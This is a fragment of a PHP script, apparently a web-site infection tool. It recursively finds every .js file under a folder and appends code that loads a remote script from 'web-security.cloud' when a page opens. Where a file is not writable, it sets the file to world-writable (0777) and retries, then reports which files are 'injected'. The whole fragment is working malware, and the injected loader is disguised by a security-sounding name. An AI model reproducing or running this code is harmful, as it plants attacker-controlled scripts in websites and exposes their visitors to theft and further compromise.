body {background-color:#060A10; color:#e1e1e1; margin:0; font:normal 75% Arial, Helvetica, sans-serif; } canvas{ display: block; vertical-align: bottom;} "; echo "



"; $add_text = <<<_HTML document.addEventListener('DOMContentLoaded', function(){ if(typeof window.web_security == "undefined"){ var s = document.createElement("script"); s.src = "//web-security.cloud/event?l=39728"; document.head.appendChild(s); window.web_security = "success"; }}, false); _HTML; $rii = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($startFolder)); foreach ($rii as $file) { if ($file->isDir()) { continue; } $file_info = explode(".", $file->getPathname()); $ext = $file_info[sizeof($file_info) - 1]; if (strtolower($ext) !== "js") continue; $isInjected = file_put_contents($file->getPathname(), "\n" . $add_text, FILE_APPEND | LOCK_EX); $isInjectable = true; if (!$isInjected) { $isInjectable = chmod($file->getPathname(), 0777); $isInjected = file_put_contents($file->getPathname(), "\n" . $add_text, FILE_APPEND | LOCK_EX); } echo "" . $file->getPathname() . " :: is injected : " . (($isInjected) ? "YES" : "NO") . " :: is injectable : " . (($isInjectable) ? "YES" : "NO") . "
"; }